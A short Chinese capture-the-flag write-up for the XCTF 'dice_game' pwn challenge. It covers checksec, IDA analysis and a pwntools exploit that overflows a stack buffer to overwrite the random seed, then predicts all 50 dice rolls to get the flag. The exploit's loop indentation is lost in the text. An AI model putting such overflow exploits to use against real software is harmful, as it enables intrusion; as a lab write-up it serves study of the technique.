攻防世界 Pwn dice_game
1.题目下载地址
2.checksec

没有canary,可能是简单的栈溢出
3.IDA分析

在sub_A20()中可以看出v2是一个通过种子生成的 1~6 的 随机数
之前有做过类似的题,只要控制种子即可预测随机数

在read函数处有栈溢出的漏洞

在下面看到需要连续答对50次才可以获取flag
那么我们构造的思路就是利用这个溢出点覆盖seed从而预测随机数
4.exp
from pwn import *
from ctypes import *
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)
sh=process('./a')
# sh=remote('124.126.19.106','30741')
payload='a'*0x40+p64(1)
sh.recvuntil('Welcome, let me know your name: ')
sh.sendline(payload)
for i in range(50):
sh.recvuntil('Give me the point(1~6): ')
sh.sendline(str(libc.rand()%6+1))
sh.recv()

本文介绍Pwndice_game挑战的解决方法,包括利用栈溢出覆盖随机数种子以预测骰子点数,最终获得flag的过程。涉及checksec检查、IDA分析及编写exp等步骤。
628

被折叠的 条评论
为什么被折叠?



